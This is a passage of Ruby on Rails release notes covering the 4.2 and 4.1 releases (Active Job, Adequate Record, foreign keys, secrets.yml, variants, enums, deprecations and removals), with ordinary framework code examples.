ActiveSupport::Duration now supports ISO8601 formatting and parsing. (Pull Request)

ActiveSupport::JSON.decode now supports parsing ISO8601 local times when parse_json_times is enabled. (Pull Request)

ActiveSupport::JSON.decode now return Date objects for date strings. (Pull Request)

Added ability to TaggedLogging to allow loggers to be instantiated multiple times so that they don't share tags with each other. (Pull Request)

11 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Ruby on Rails 4.2 Release Notes

Highlights in Rails 4.2:

Active Job

Asynchronous mails

Adequate Record

Web Console

Foreign key support

These release notes cover only the major changes. To learn about other features, bug fixes, and changes, please refer to the changelogs or check out the list of commits in the main Rails repository on GitHub.

Chapters

Upgrading to Rails 4.2

Major Features

Active Job

Asynchronous Mails

Adequate Record

Web Console

Foreign Key Support

Incompatibilities

render with a String Argument

respond_with / Class-Level respond_to

Default Host for rails server

Changed status option symbols for render

HTML Sanitizer

assert_select

Railties

Removals

Deprecations

Notable changes

Action Pack

Removals

Deprecations

Notable changes

Action View

Deprecations

Notable changes

Action Mailer

Deprecations

Notable changes

Active Record

Removals

Deprecations

Notable changes

Active Model

Removals

Deprecations

Notable changes

Active Support

Removals

Deprecations

Notable changes

Credits

1 Upgrading to Rails 4.2

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 4.1 in case you haven't and make sure your application still runs as expected before attempting to upgrade to Rails 4.2. A list of things to watch out for when upgrading is available in the guide Upgrading Ruby on Rails.

2 Major Features

2.1 Active Job

Active Job is a new framework in Rails 4.2. It is a common interface on top of queuing systems like Resque, Delayed Job, Sidekiq, and more.

Jobs written with the Active Job API run on any of the supported queues thanks to their respective adapters. Active Job comes pre-configured with an inline runner that executes jobs right away.

Jobs often need to take Active Record objects as arguments. Active Job passes object references as URIs (uniform resource identifiers) instead of marshalling the object itself. The new Global ID library builds URIs and looks up the objects they reference. Passing Active Record objects as job arguments just works by using Global ID internally.

For example, if trashable is an Active Record object, then this job runs just fine with no serialization involved:

  class TrashableCleanupJob < ActiveJob::Base
  def perform(trashable, depth)
    trashable.cleanup(depth)
  end
end

See the Active Job Basics guide for more information.

2.2 Asynchronous Mails

Building on top of Active Job, Action Mailer now comes with a deliver_later method that sends emails via the queue, so it doesn't block the controller or model if the queue is asynchronous (the default inline queue blocks).

Sending emails right away is still possible with deliver_now.

2.3 Adequate Record

Adequate Record is a set of performance improvements in Active Record that makes common find and find_by calls and some association queries up to 2x faster.

It works by caching common SQL queries as prepared statements and reusing them on similar calls, skipping most of the query-generation work on subsequent calls. For more details, please refer to Aaron Patterson's blog post.

Active Record will automatically take advantage of this feature on supported operations without any user involvement or code changes. Here are some examples of supported operations:

  Post.find(1)  # First call generates and cache the prepared statement
Post.find(2)  # Subsequent calls reuse the cached prepared statement

Post.find_by_title('first post')
Post.find_by_title('second post')

Post.find_by(title: 'first post')
Post.find_by(title: 'second post')

post.comments
post.comments(true)

It's important to highlight that, as the examples above suggest, the prepared statements do not cache the values passed in the method calls; rather, they have placeholders for them.

Caching is not used in the following scenarios:

The model has a default scope

The model uses single table inheritance

find with a list of ids, e.g.:

# not cached
Post.find(1, 2, 3)
Post.find([1,2])

find_by with SQL fragments:

Post.find_by('published_at < ?', 2.weeks.ago)

2.4 Web Console

New applications generated with Rails 4.2 now come with the Web Console gem by default. Web Console adds an interactive Ruby console on every error page and provides a console view and controller helpers.

The interactive console on error pages lets you execute code in the context of the place where the exception originated. The console helper, if called anywhere in a view or controller, launches an interactive console with the final context, once rendering has completed.

2.5 Foreign Key Support

The migration DSL now supports adding and removing foreign keys. They are dumped to schema.rb as well. At this time, only the mysql, mysql2 and postgresql adapters support foreign keys.

  # add a foreign key to `articles.author_id` referencing `authors.id`
add_foreign_key :articles, :authors

# add a foreign key to `articles.author_id` referencing `users.lng_id`
add_foreign_key :articles, :users, column: :author_id, primary_key: "lng_id"

# remove the foreign key on `accounts.branch_id`
remove_foreign_key :accounts, :branches

# remove the foreign key on `accounts.owner_id`
remove_foreign_key :accounts, column: :owner_id

See the API documentation on add_foreign_key and remove_foreign_key for a full description.

3 Incompatibilities

Previously deprecated functionality has been removed. Please refer to the individual components for new deprecations in this release.

The following changes may require immediate action upon upgrade.

3.1 render with a String Argument

Previously, calling render "foo/bar" in a controller action was equivalent to render file: "foo/bar". In Rails 4.2, this has been changed to mean render template: "foo/bar" instead. If you need to render a file, please change your code to use the explicit form (render file: "foo/bar") instead.

3.2 respond_with / Class-Level respond_to

respond_with and the corresponding class-level respond_to have been moved to the responders gem. Add gem 'responders', '~> 2.0' to your Gemfile to use it:

  # app/controllers/users_controller.rb

class UsersController < ApplicationController
  respond_to :html, :json

  def show
    @user = User.find(params[:id])
    respond_with @user
  end
end

Instance-level respond_to is unaffected:

  # app/controllers/users_controller.rb

class UsersController < ApplicationController
  def show
    @user = User.find(params[:id])
    respond_to do |format|
      format.html
      format.json { render json: @user }
    end
  end
end

3.3 Default Host for rails server

Due to a change in Rack, rails server now listens on localhost instead of 0.0.0.0 by default. This should have minimal impact on the standard development workflow as both http://127.0.0.1:3000 and http://localhost:3000 will continue to work as before on your own machine.

However, with this change you will no longer be able to access the Rails server from a different machine, for example if your development environment is in a virtual machine and you would like to access it from the host machine. In such cases, please start the server with rails server -b 0.0.0.0 to restore the old behavior.

If you do this, be sure to configure your firewall properly such that only trusted machines on your network can access your development server.

3.4 Changed status option symbols for render

Due to a change in Rack, the symbols that the render method accepts for the :status option have changed:

306: :reserved has been removed.

413: :request_entity_too_large has been renamed to :payload_too_large.

414: :request_uri_too_long has been renamed to :uri_too_long.

416: :requested_range_not_satisfiable has been renamed to :range_not_satisfiable.

Keep in mind that if calling render with an unknown symbol, the response status will default to 500.

3.5 HTML Sanitizer

The HTML sanitizer has been replaced with a new, more robust, implementation built upon Loofah and Nokogiri. The new sanitizer is more secure and its sanitization is more powerful and flexible.

Due to the new algorithm, the sanitized output may be different for certain pathological inputs.

If you have a particular need for the exact output of the old sanitizer, you can add the rails-deprecated_sanitizer gem to the Gemfile, to have the old behavior. The gem does not issue deprecation warnings because it is opt-in.

rails-deprecated_sanitizer will be supported for Rails 4.2 only; it will not be maintained for Rails 5.0.

See this blog post for more details on the changes in the new sanitizer.

3.6 assert_select

assert_select is now based on Nokogiri. As a result, some previously-valid selectors are now unsupported. If your application is using any of these spellings, you will need to update them:

Values in attribute selectors may need to be quoted if they contain non-alphanumeric characters.

# before
a[href=/]
a[href$=/]

# now
a[href="/"]
a[href$="/"]

DOMs built from HTML source containing invalid HTML with improperly nested elements may differ.

For example:

# content: <div><i><p></i></div>

# before:
assert_select('div > i')  # => true
assert_select('div > p')  # => false
assert_select('i > p')    # => true

# now:
assert_select('div > i')  # => true
assert_select('div > p')  # => true
assert_select('i > p')    # => false

If the data selected contains entities, the value selected for comparison used to be raw (e.g. AT&amp;T), and now is evaluated (e.g. AT&T).

# content: <p>AT&amp;T</p>

# before:
assert_select('p', 'AT&amp;T')  # => true
assert_select('p', 'AT&T')      # => false

# now:
assert_select('p', 'AT&T')      # => true
assert_select('p', 'AT&amp;T')  # => false

Furthermore substitutions have changed syntax.

Now you have to use a :match CSS-like selector:

  assert_select ":match('id', ?)", 'comment_1'

Additionally Regexp substitutions look different when the assertion fails. Notice how /hello/ here:

  assert_select(":match('id', ?)", /hello/)

becomes "(?-mix:hello)":

  Expected at least 1 element matching "div:match('id', "(?-mix:hello)")", found 0..
Expected 0 to be >= 1.

See the Rails Dom Testing documentation for more on assert_select.

4 Railties

Please refer to the Changelog for detailed changes.

4.1 Removals

The --skip-action-view option has been removed from the app generator. (Pull Request)

The rails application command has been removed without replacement. (Pull Request)

4.2 Deprecations

Deprecated missing config.log_level for production environments. (Pull Request)

Deprecated rake test:all in favor of rake test as it now run all tests in the test folder. (Pull Request)

Deprecated rake test:all:db in favor of rake test:db. (Pull Request)

Deprecated Rails::Rack::LogTailer without replacement. (Commit)

4.3 Notable changes

Introduced web-console in the default application Gemfile. (Pull Request)

Added a required option to the model generator for associations. (Pull Request)

Introduced the x namespace for defining custom configuration options:

# config/environments/production.rb
config.x.payment_processing.schedule = :daily
config.x.payment_processing.retries  = 3
config.x.super_debugger              = true

These options are then available through the configuration object:

Rails.configuration.x.payment_processing.schedule # => :daily
Rails.configuration.x.payment_processing.retries  # => 3
Rails.configuration.x.super_debugger              # => true

(Commit)

Introduced Rails::Application.config_for to load a configuration for the current environment.

# config/exception_notification.yml
production:
  url: http://127.0.0.1:8080
  namespace: my_app_production
development:
  url: http://localhost:3001
  namespace: my_app_development

# config/environments/production.rb
Rails.application.configure do
  config.middleware.use ExceptionNotifier, config_for(:exception_notification)
end

(Pull Request)

Introduced a --skip-turbolinks option in the app generator to not generate turbolinks integration. (Commit)

Introduced a bin/setup script as a convention for automated setup code when bootstrapping an application. (Pull Request)

Changed the default value for config.assets.digest to true in development. (Pull Request)

Introduced an API to register new extensions for rake notes. (Pull Request)

Introduced an after_bundle callback for use in Rails templates. (Pull Request)

Introduced Rails.gem_version as a convenience method to return Gem::Version.new(Rails.version). (Pull Request)

5 Action Pack

Please refer to the Changelog for detailed changes.

5.1 Removals

respond_with and the class-level respond_to have been removed from Rails and moved to the responders gem (version 2.0). Add gem 'responders', '~> 2.0' to your Gemfile to continue using these features. (Pull Request, More Details)

Removed deprecated AbstractController::Helpers::ClassMethods::MissingHelperError in favor of AbstractController::Helpers::MissingHelperError. (Commit)

5.2 Deprecations

Deprecated the only_path option on *_path helpers. (Commit)

Deprecated assert_tag, assert_no_tag, find_tag and find_all_tag in favor of assert_select. (Commit)

Deprecated support for setting the :to option of a router to a symbol or a string that does not contain a "#" character:

get '/posts', to: MyRackApp    => (No change necessary)
get '/posts', to: 'post#index' => (No change necessary)
get '/posts', to: 'posts'      => get '/posts', controller: :posts
get '/posts', to: :index       => get '/posts', action: :index

(Commit)

Deprecated support for string keys in URL helpers:

# bad
root_path('controller' => 'posts', 'action' => 'index')

# good
root_path(controller: 'posts', action: 'index')

(Pull Request)

5.3 Notable changes

The *_filter family of methods have been removed from the documentation. Their usage is discouraged in favor of the *_action family of methods:

after_filter          => after_action
append_after_filter   => append_after_action
append_around_filter  => append_around_action
append_before_filter  => append_before_action
around_filter         => around_action
before_filter         => before_action
prepend_after_filter  => prepend_after_action
prepend_around_filter => prepend_around_action
prepend_before_filter => prepend_before_action
skip_after_filter     => skip_after_action
skip_around_filter    => skip_around_action
skip_before_filter    => skip_before_action
skip_filter           => skip_action_callback

If your application currently depends on these methods, you should use the replacement *_action methods instead. These methods will be deprecated in the future and will eventually be removed from Rails.

(Commit 1, 2)

render nothing: true or rendering a nil body no longer add a single space padding to the response body. (Pull Request)

Rails now automatically includes the template's digest in ETags. (Pull Request)

Segments that are passed into URL helpers are now automatically escaped. (Commit)

Introduced the always_permitted_parameters option to configure which parameters are permitted globally. The default value of this configuration is ['controller', 'action']. (Pull Request)

Added the HTTP method MKCALENDAR from RFC 4791. (Pull Request)

*_fragment.action_controller notifications now include the controller and action name in the payload. (Pull Request)

Improved the Routing Error page with fuzzy matching for route search. (Pull Request)

Added an option to disable logging of CSRF failures. (Pull Request)

When the Rails server is set to serve static assets, gzip assets will now be served if the client supports it and a pre-generated gzip file (.gz) is on disk. By default the asset pipeline generates .gz files for all compressible assets. Serving gzip files minimizes data transfer and speeds up asset requests. Always use a CDN if you are serving assets from your Rails server in production. (Pull Request)

When calling the process helpers in an integration test the path needs to have a leading slash. Previously you could omit it but that was a byproduct of the implementation and not an intentional feature, e.g.:

test "list all posts" do
  get "/posts"
  assert_response :success
end

6 Action View

Please refer to the Changelog for detailed changes.

6.1 Deprecations

Deprecated AbstractController::Base.parent_prefixes. Override AbstractController::Base.local_prefixes when you want to change where to find views. (Pull Request)

Deprecated ActionView::Digestor#digest(name, format, finder, options = {}). Arguments should be passed as a hash instead. (Pull Request)

6.2 Notable changes

render "foo/bar" now expands to render template: "foo/bar" instead of render file: "foo/bar". (Pull Request)

The form helpers no longer generate a <div> element with inline CSS around the hidden fields. (Pull Request)

Introduced a #{partial_name}_iteration special local variable for use with partials that are rendered with a collection. It provides access to the current state of the iteration via the index, size, first? and last? methods. (Pull Request)

Placeholder I18n follows the same convention as label I18n. (Pull Request)

7 Action Mailer

Please refer to the Changelog for detailed changes.

7.1 Deprecations

Deprecated *_path helpers in mailers. Always use *_url helpers instead. (Pull Request)

Deprecated deliver / deliver! in favor of deliver_now / deliver_now!. (Pull Request)

7.2 Notable changes

link_to and url_for generate absolute URLs by default in templates, it is no longer needed to pass only_path: false. (Commit)

Introduced deliver_later which enqueues a job on the application's queue to deliver emails asynchronously. (Pull Request)

Added the show_previews configuration option for enabling mailer previews outside of the development environment. (Pull Request)

8 Active Record

Please refer to the Changelog for detailed changes.

8.1 Removals

Removed cache_attributes and friends. All attributes are cached. (Pull Request)

Removed deprecated method ActiveRecord::Base.quoted_locking_column. (Pull Request)

Removed deprecated ActiveRecord::Migrator.proper_table_name. Use the proper_table_name instance method on ActiveRecord::Migration instead. (Pull Request)

Removed unused :timestamp type. Transparently alias it to :datetime in all cases. Fixes inconsistencies when column types are sent outside of Active Record, such as for XML serialization. (Pull Request)

8.2 Deprecations

Deprecated swallowing of errors inside after_commit and after_rollback. (Pull Request)

Deprecated broken support for automatic detection of counter caches on has_many :through associations. You should instead manually specify the counter cache on the has_many and belongs_to associations for the through records. (Pull Request)

Deprecated passing Active Record objects to .find or .exists?. Call id on the objects first. (Commit 1, 2)

Deprecated half-baked support for PostgreSQL range values with excluding beginnings. We currently map PostgreSQL ranges to Ruby ranges. This conversion is not fully possible because Ruby ranges do not support excluded beginnings.

The current solution of incrementing the beginning is not correct and is now deprecated. For subtypes where we don't know how to increment (e.g. succ is not defined) it will raise an ArgumentError for ranges with excluding beginnings. (Commit)

Deprecated calling DatabaseTasks.load_schema without a connection. Use DatabaseTasks.load_schema_current instead. (Commit)

Deprecated sanitize_sql_hash_for_conditions without replacement. Using a Relation for performing queries and updates is the preferred API. (Commit)

Deprecated add_timestamps and t.timestamps without passing the :null option. The default of null: true will change in Rails 5 to null: false. (Pull Request)

Deprecated Reflection#source_macro without replacement as it is no longer needed in Active Record. (Pull Request)

Deprecated serialized_attributes without replacement. (Pull Request)

Deprecated returning nil from column_for_attribute when no column exists. It will return a null object in Rails 5.0. (Pull Request)

Deprecated using .joins, .preload and .eager_load with associations that depend on the instance state (i.e. those defined with a scope that takes an argument) without replacement. (Commit)

8.3 Notable changes

SchemaDumper uses force: :cascade on create_table. This makes it possible to reload a schema when foreign keys are in place.

Added a :required option to singular associations, which defines a presence validation on the association. (Pull Request)

ActiveRecord::Dirty now detects in-place changes to mutable values. Serialized attributes on Active Record models are no longer saved when unchanged. This also works with other types such as string columns and json columns on PostgreSQL. (Pull Requests 1, 2, 3)

Introduced the db:purge Rake task to empty the database for the current environment. (Commit)

Introduced ActiveRecord::Base#validate! that raises ActiveRecord::RecordInvalid if the record is invalid. (Pull Request)

Introduced validate as an alias for valid?. (Pull Request)

touch now accepts multiple attributes to be touched at once. (Pull Request)

The PostgreSQL adapter now supports the jsonb datatype in PostgreSQL 9.4+. (Pull Request)

The PostgreSQL and SQLite adapters no longer add a default limit of 255 characters on string columns. (Pull Request)

Added support for the citext column type in the PostgreSQL adapter. (Pull Request)

Added support for user-created range types in the PostgreSQL adapter. (Commit)

sqlite3:///some/path now resolves to the absolute system path /some/path. For relative paths, use sqlite3:some/path instead. (Previously, sqlite3:///some/path resolved to the relative path some/path. This behavior was deprecated on Rails 4.1). (Pull Request)

Added support for fractional seconds for MySQL 5.6 and above. (Pull Request 1, 2)

Added ActiveRecord::Base#pretty_print to pretty print models. (Pull Request)

ActiveRecord::Base#reload now behaves the same as m = Model.find(m.id), meaning that it no longer retains the extra attributes from custom SELECTs. (Pull Request)

ActiveRecord::Base#reflections now returns a hash with string keys instead of symbol keys. (Pull Request)

The references method in migrations now supports a type option for specifying the type of the foreign key (e.g. :uuid). (Pull Request)

9 Active Model

Please refer to the Changelog for detailed changes.

9.1 Removals

Removed deprecated Validator#setup without replacement. (Pull Request)

9.2 Deprecations

Deprecated reset_#{attribute} in favor of restore_#{attribute}. (Pull Request)

Deprecated ActiveModel::Dirty#reset_changes in favor of clear_changes_information. (Pull Request)

9.3 Notable changes

Introduced validate as an alias for valid?. (Pull Request)

Introduced the restore_attributes method in ActiveModel::Dirty to restore the changed (dirty) attributes to their previous values. (Pull Request 1, 2)

has_secure_password no longer disallows blank passwords (i.e. passwords that contains only spaces) by default. (Pull Request)

has_secure_password now verifies that the given password is less than 72 characters if validations are enabled. (Pull Request)

10 Active Support

Please refer to the Changelog for detailed changes.

10.1 Removals

Removed deprecated Numeric#ago, Numeric#until, Numeric#since, Numeric#from_now. (Commit)

Removed deprecated string based terminators for ActiveSupport::Callbacks. (Pull Request)

10.2 Deprecations

Deprecated Kernel#silence_stderr, Kernel#capture and Kernel#quietly without replacement. (Pull Request)

Deprecated Class#superclass_delegating_accessor, use Class#class_attribute instead. (Pull Request)

Deprecated ActiveSupport::SafeBuffer#prepend! as ActiveSupport::SafeBuffer#prepend now performs the same function. (Pull Request)

10.3 Notable changes

Introduced a new configuration option active_support.test_order for specifying the order test cases are executed. This option currently defaults to :sorted but will be changed to :random in Rails 5.0. (Commit)

Object#try and Object#try! can now be used without an explicit receiver in the block. (Commit, Pull Request)

The travel_to test helper now truncates the usec component to 0. (Commit)

Introduced Object#itself as an identity function. (Commit 1, 2)

Object#with_options can now be used without an explicit receiver in the block. (Pull Request)

Introduced String#truncate_words to truncate a string by a number of words. (Pull Request)

Added Hash#transform_values and Hash#transform_values! to simplify a common pattern where the values of a hash must change, but the keys are left the same. (Pull Request)

The humanize inflector helper now strips any leading underscores. (Commit)

Introduced Concern#class_methods as an alternative to module ClassMethods, as well as Kernel#concern to avoid the module Foo; extend ActiveSupport::Concern; end boilerplate. (Commit)

New guide about constant autoloading and reloading.

11 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails the stable and robust framework it is today. Kudos to all of them.

Ruby on Rails 4.1 Release Notes

Highlights in Rails 4.1:

Spring application preloader

config/secrets.yml

Action Pack variants

Action Mailer previews

These release notes cover only the major changes. To learn about various bug fixes and changes, please refer to the changelogs or check out the list of commits in the main Rails repository on GitHub.

Chapters

Upgrading to Rails 4.1

Major Features

Spring Application Preloader

config/secrets.yml

Action Pack Variants

Action Mailer Previews

Active Record enums

Message Verifiers

Module#concerning

CSRF protection from remote <script> tags

Railties

Removals

Notable changes

Action Pack

Removals

Notable changes

Action Mailer

Notable changes

Active Record

Removals

Deprecations

Notable changes

Active Model

Deprecations

Notable changes

Active Support

Removals

Deprecations

Notable changes

Credits

1 Upgrading to Rails 4.1

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 4.0 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.1. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Major Features

2.1 Spring Application Preloader

Spring is a Rails application preloader. It speeds up development by keeping your application running in the background so you don't need to boot it every time you run a test, rake task or migration.

New Rails 4.1 applications will ship with "springified" binstubs. This means that bin/rails and bin/rake will automatically take advantage of preloaded spring environments.

Running rake tasks:

  $ bin/rake test:models

Running a Rails command:

  $ bin/rails console

Spring introspection:

  $ bin/spring status
Spring is running:

 1182 spring server | my_app | started 29 mins ago
 3656 spring app    | my_app | started 23 secs ago | test mode
 3746 spring app    | my_app | started 10 secs ago | development mode

Have a look at the Spring README to see all available features.

See the Upgrading Ruby on Rails guide on how to migrate existing applications to use this feature.

2.2 config/secrets.yml

Rails 4.1 generates a new secrets.yml file in the config folder. By default, this file contains the application's secret_key_base, but it could also be used to store other secrets such as access keys for external APIs.

The secrets added to this file are accessible via Rails.application.secrets. For example, with the following config/secrets.yml:

  development:
  secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
  some_api_key: SOMEKEY

Rails.application.secrets.some_api_key returns SOMEKEY in the development environment.

See the Upgrading Ruby on Rails guide on how to migrate existing applications to use this feature.

2.3 Action Pack Variants

We often want to render different HTML/JSON/XML templates for phones, tablets, and desktop browsers. Variants make it easy.

The request variant is a specialization of the request format, like :tablet, :phone, or :desktop.

You can set the variant in a before_action:

  request.variant = :tablet if request.user_agent =~ /iPad/

Respond to variants in the action just like you respond to formats:

  respond_to do |format|
  format.html do |html|
    html.tablet # renders app/views/projects/show.html+tablet.erb
    html.phone { extra_setup; render ... }
  end
end

Provide separate templates for each format and variant:

  app/views/projects/show.html.erb
app/views/projects/show.html+tablet.erb
app/views/projects/show.html+phone.erb

You can also simplify the variants definition using the inline syntax:

  respond_to do |format|
  format.js         { render "trash" }
  format.html.phone { redirect_to progress_path }
  format.html.none  { render "trash" }
end

2.4 Action Mailer Previews

Action Mailer previews provide a way to see how emails look by visiting a special URL that renders them.

You implement a preview class whose methods return the mail object you'd like to check:

  class NotifierPreview < ActionMailer::Preview
  def welcome
    Notifier.welcome(User.first)
  end
end

The preview is available in http://localhost:3000/rails/mailers/notifier/welcome, and a list of them in http://localhost:3000/rails/mailers.

By default, these preview classes live in test/mailers/previews. This can be configured using the preview_path option.

See its documentation for a detailed write up.

2.5 Active Record enums

Declare an enum attribute where the values map to integers in the database, but can be queried by name.

  class Conversation < ActiveRecord::Base
  enum status: [ :active, :archived ]
end

conversation.archived!
conversation.active? # => false
conversation.status  # => "archived"

Conversation.archived # => Relation for all archived Conversations

Conversation.statuses # => { "active" => 0, "archived" => 1 }

See its documentation for a detailed write up.

2.6 Message Verifiers

Message verifiers can be used to generate and verify signed messages. This can be useful to safely transport sensitive data like remember-me tokens and friends.

The method Rails.application.message_verifier returns a new message verifier that signs messages with a key derived from secret_key_base and the given message verifier name:

  signed_token = Rails.application.message_verifier(:remember_me).generate(token)
Rails.application.message_verifier(:remember_me).verify(signed_token) # => token

Rails.application.message_verifier(:remember_me).verify(tampered_token)
# raises ActiveSupport::MessageVerifier::InvalidSignature

2.7 Module#concerning

A natural, low-ceremony way to separate responsibilities within a class:

  class Todo < ActiveRecord::Base
  concerning :EventTracking do
    included do
      has_many :events
    end

    def latest_event
      # ...
    end

    private
      def some_internal_method
        # ...
      end
  end
end

This example is equivalent to defining a EventTracking module inline, extending it with ActiveSupport::Concern, then mixing it in to the Todo class.

See its documentation for a detailed write up and the intended use cases.

2.8 CSRF protection from remote <script> tags

Cross-site request forgery (CSRF) protection now covers GET requests with JavaScript responses, too. That prevents a third-party site from referencing your JavaScript URL and attempting to run it to extract sensitive data.

This means any of your tests that hit .js URLs will now fail CSRF protection unless they use xhr. Upgrade your tests to be explicit about expecting XmlHttpRequests. Instead of post :create, format: :js, switch to the explicit xhr :post, :create, format: :js.

3 Railties

Please refer to the Changelog for detailed changes.

3.1 Removals

Removed update:application_controller rake task.

Removed deprecated Rails.application.railties.engines.

Removed deprecated threadsafe! from Rails Config.

Removed deprecated ActiveRecord::Generators::ActiveModel#update_attributes in favor of ActiveRecord::Generators::ActiveModel#update.

Removed deprecated config.whiny_nils option.

Removed deprecated rake tasks for running tests: rake test:uncommitted and rake test:recent.

3.2 Notable changes

The Spring application preloader is now installed by default for new applications. It uses the development group of the Gemfile, so will not be installed in production. (Pull Request)

BACKTRACE environment variable to show unfiltered backtraces for test failures. (Commit)

Exposed MiddlewareStack#unshift to environment configuration. (Pull Request)

Added Application#message_verifier method to return a message verifier. (Pull Request)

The test_help.rb file which is required by the default generated test helper will automatically keep your test database up-to-date with db/schema.rb (or db/structure.sql). It raises an error if reloading the schema does not resolve all pending migrations. Opt out with config.active_record.maintain_test_schema = false. (Pull Request)

Introduce Rails.gem_version as a convenience method to return Gem::Version.new(Rails.version), suggesting a more reliable way to perform version comparison. (Pull Request)

4 Action Pack

Please refer to the Changelog for detailed changes.

4.1 Removals

Removed deprecated Rails application fallback for integration testing, set ActionDispatch.test_app instead.

Removed deprecated page_cache_extension config.

Removed deprecated ActionController::RecordIdentifier, use ActionView::RecordIdentifier instead.

Removed deprecated constants from Action Controller:

Removed | Successor
ActionController::AbstractRequest | ActionDispatch::Request
ActionController::Request | ActionDispatch::Request
ActionController::AbstractResponse | ActionDispatch::Response
ActionController::Response | ActionDispatch::Response
ActionController::Routing | ActionDispatch::Routing
ActionController::Integration | ActionDispatch::Integration
ActionController::IntegrationTest | ActionDispatch::IntegrationTest

4.2 Notable changes

protect_from_forgery also prevents cross-origin <script> tags. Update your tests to use xhr :get, :foo, format: :js instead of get :foo, format: :js. (Pull Request)

#url_for takes a hash with options inside an array. (Pull Request)

Added session#fetch method fetch behaves similarly to Hash#fetch, with the exception that the returned value is always saved into the session. (Pull Request)

Separated Action View completely from Action Pack. (Pull Request)

Log which keys were affected by deep munge. (Pull Request)

New config option config.action_dispatch.perform_deep_munge to opt out of params "deep munging" that was used to address security vulnerability CVE-2013-0155. (Pull Request)

New config option config.action_dispatch.cookies_serializer for specifying a serializer for the signed and encrypted cookie jars. (Pull Requests 1, 2 / More Details)

Added render :plain, render :html and render :body. (Pull Request / More Details)

5 Action Mailer

Please refer to the Changelog for detailed changes.

5.1 Notable changes

Added mailer previews feature based on 37 Signals mail_view gem. (Commit)

Instrument the generation of Action Mailer messages. The time it takes to generate a message is written to the log. (Pull Request)

6 Active Record

Please refer to the Changelog for detailed changes.

6.1 Removals

Removed deprecated nil-passing to the following SchemaCache methods: primary_keys, tables, columns and columns_hash.

Removed deprecated block filter from ActiveRecord::Migrator#migrate.

Removed deprecated String constructor from ActiveRecord::Migrator.

Removed deprecated scope use without passing a callable object.

Removed deprecated transaction_joinable= in favor of begin_transaction with a :joinable option.

Removed deprecated decrement_open_transactions.

Removed deprecated increment_open_transactions.

Removed deprecated PostgreSQLAdapter#outside_transaction? method. You can use #transaction_open? instead.

Removed deprecated ActiveRecord::Fixtures.find_table_name in favor of ActiveRecord::Fixtures.default_fixture_model_name.

Removed deprecated columns_for_remove from SchemaStatements.

Removed deprecated SchemaStatements#distinct.

Moved deprecated ActiveRecord::TestCase into the Rails test suite. The class is no longer public and is only used for internal Rails tests.

Removed support for deprecated option :restrict for :dependent in associations.

Removed support for deprecated :delete_sql, :insert_sql, :finder_sql and :counter_sql options in associations.

Removed deprecated method type_cast_code from Column.

Removed deprecated ActiveRecord::Base#connection method. Make sure to access it via the class.

Removed deprecation warning for auto_explain_threshold_in_seconds.

Removed deprecated :distinct option from Relation#count.

Removed deprecated methods partial_updates, partial_updates? and partial_updates=.

Removed deprecated method scoped.

Removed deprecated method default_scopes?.

Remove implicit join references that were deprecated in 4.0.

Removed activerecord-deprecated_finders as a dependency. Please see the gem README for more info.

Removed usage of implicit_readonly. Please use readonly method explicitly to mark records as readonly. (Pull Request)

6.2 Deprecations

Deprecated quoted_locking_column method, which isn't used anywhere.

Deprecated ConnectionAdapters::SchemaStatements#distinct, as it is no longer used by internals. (Pull Request)

Deprecated rake db:test:* tasks as the test database is now automatically maintained. See railties release notes. (Pull Request)

Deprecate unused ActiveRecord::Base.symbolized_base_class and ActiveRecord::Base.symbolized_sti_name without replacement. Commit

6.3 Notable changes

Default scopes are no longer overridden by chained conditions.

Before this change when you defined a default_scope in a model it was overridden by chained conditions in the same field. Now it is merged like any other scope. More Details.

Added ActiveRecord::Base.to_param for convenient "pretty" URLs derived from a model's attribute or method. (Pull Request)

Added ActiveRecord::Base.no_touching, which allows ignoring touch on models. (Pull Request)

Unify boolean type casting for MysqlAdapter and Mysql2Adapter. type_cast will return 1 for true and 0 for false. (Pull Request)

.unscope now removes conditions specified in default_scope. (Commit)

Added ActiveRecord::QueryMethods#rewhere which will overwrite an existing, named where condition. (Commit)

Extended ActiveRecord::Base#cache_key to take an optional list of timestamp attributes of which the highest will be used. (Commit)

Added ActiveRecord::Base#enum for declaring enum attributes where the values map to integers in the database, but can be queried by name. (Commit)

Type cast json values on write, so that the value is consistent with reading from the database. (Pull Request)

Type cast hstore values on write, so that the value is consistent with reading from the database. (Commit)

Make next_migration_number accessible for third party generators. (Pull Request)

Calling update_attributes will now throw an ArgumentError whenever it gets a nil argument. More specifically, it will throw an error if the argument that it gets passed does not respond to to stringify_keys. (Pull Request)

CollectionAssociation#first/#last (e.g. has_many) use a LIMITed query to fetch results rather than loading the entire collection. (Pull Request)

inspect on Active Record model classes does not initiate a new connection. This means that calling inspect, when the database is missing, will no longer raise an exception. (Pull Request)

Removed column restrictions for count, let the database raise if the SQL is invalid. (Pull Request)

Rails now automatically detects inverse associations. If you do not set the :inverse_of option on the association, then Active Record will guess the inverse association based on heuristics. (Pull Request)

Handle aliased attributes in ActiveRecord::Relation. When using symbol keys, ActiveRecord will now translate aliased attribute names to the actual column name used in the database. (Pull Request)

The ERB in fixture files is no longer evaluated in the context of the main object. Helper methods used by multiple fixtures should be defined on modules included in ActiveRecord::FixtureSet.context_class. (Pull Request)

Don't create or drop the test database if RAILS_ENV is specified explicitly. (Pull Request)

Relation no longer has mutator methods like #map! and #delete_if. Convert to an Array by calling #to_a before using these methods. (Pull Request)

find_in_batches, find_each, Result#each and Enumerable#index_by now return an Enumerator that can calculate its size. (Pull Request)

scope, enum and Associations now raise on "dangerous" name conflicts. (Pull Request, Pull Request)

second through fifth methods act like the first finder. (Pull Request)

Make touch fire the after_commit and after_rollback callbacks. (Pull Request)

Enable partial indexes for sqlite >= 3.8.0. (Pull Request)

Make change_column_null revertible. (Commit)

Added a flag to disable schema dump after migration. This is set to false by default in the production environment for new applications. (Pull Request)

7 Active Model

Please refer to the Changelog for detailed changes.

7.1 Deprecations

Deprecate Validator#setup. This should be done manually now in the validator's constructor. (Commit)

7.2 Notable changes

Added new API methods reset_changes and changes_applied to ActiveModel::Dirty that control changes state.

Ability to specify multiple contexts when defining a validation. (Pull Request)

